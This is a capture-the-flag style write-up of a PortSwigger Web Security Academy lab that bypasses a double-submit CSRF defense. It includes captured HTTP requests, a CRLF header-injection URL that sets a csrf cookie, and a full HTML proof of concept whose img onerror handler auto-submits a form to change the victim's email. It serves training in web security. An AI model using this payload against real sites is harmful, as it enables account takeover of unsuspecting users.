| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | CSRF — Double Submit Cookie Bypass |
| Difficulty | Practitioner |
| Target | 0aac0057044167888121112a00be00b6.web-security-academy.net |
| Objective | Change the victim's email address by bypassing the double submit CSRF defense |
CSRF Where Token Is Duplicated in Cookie — Writeup¶
Reconnaissance¶
Initial Observation¶
Logged in as wiener:peter. Intercepting the email change request:
POST /my-account/change-email HTTP/2
Host: 0aac0057044167888121112a00be00b6.web-security-academy.net
Cookie: session=dpgipehdbOBhEFLZpo6dWZ8OcDdpfk1d; csrf=ZFs1e7xWEIwFYuowoNqRmRqOyOwP6PSL
[email protected]&csrf=ZFs1e7xWEIwFYuowoNqRmRqOyOwP6PSL
The csrf value in the cookie and the csrf parameter in the body are identical. This is the "double submit" pattern — the server validates CSRF by checking that the cookie value matches the body value, without tying either to the session. If an attacker can control the cookie, they can set both to anything they want and the check passes trivially.
Web — LastSearchTerm Cookie Behavior¶
The site has a search bar. Searching for something and re-intercepting the email change request:
POST /my-account/change-email HTTP/2
Cookie: session=dpgipehdbOBhEFLZpo6dWZ8OcDdpfk1d; csrf=ZFs1e7xWEIwFYuowoNqRmRqOyOwP6PSL; LastSearchTerm=teto
[email protected]&csrf=ZFs1e7xWEIwFYuowoNqRmRqOyOwP6PSL
LastSearchTerm is being set via the search endpoint — same behavior as the previous lab. If CRLF injection works here, the attacker can overwrite the csrf cookie with an arbitrary value, then submit a form with that same value in the body and the double-submit check passes.
Cookie Injection via Search — Header Injection¶
Testing CRLF injection on the search endpoint:
web-security-academy.net/?search=teto%0D%0ASet-Cookie: csrf=tetoandmiku
Intercepting a subsequent request confirms the cookie was overwritten:
POST /my-account/change-email HTTP/2
Cookie: session=Gfj8D8L9qSvY02kamREC5LkbAOuyyuGf; csrf=tetoandmiku; LastSearchTerm=teto
The csrf cookie is now attacker-controlled. Since the server only checks that cookie equals body parameter, the attacker can set both to whatever string they want.
Attack Path¶
Full Exploit — Cookie Injection + CSRF PoC¶
Same two-step sequence as the previous lab: inject the csrf cookie via the <img> CRLF trick, then fire the form on onerror:
<form class="login-form" name="change-email-form" action="https://0aac0057044167888121112a00be00b6.web-security-academy.net/my-account/change-email" method="POST">
<input required="" type="email" name="email" value="[email protected]">
<input required="" type="hidden" name="csrf" value="tetoandmiku">
</form>
<img src="https://0aac0057044167888121112a00be00b6.web-security-academy.net/?search=teto%0d%0aSet-Cookie:%20csrf=tetoandmiku%3b%20SameSite=None" onerror="document.forms[0].submit();">
Page load sequence:
- Browser fetches the
<img>URL → CRLF injection setscsrf=tetoandmikuon the victim's browser. - Image load fails →
onerrorfires →document.forms[0].submit(). - POST sends
csrf=tetoandmikuin the body and the same value in the cookie. - Server compares cookie to body — they match — email changes.
Lab solved :P
Resources¶
- PortSwigger — Bypassing CSRF token validation
- PortSwigger — CSRF
- MDN — SameSite cookies
- Burp Suite Professional — request interception, Repeater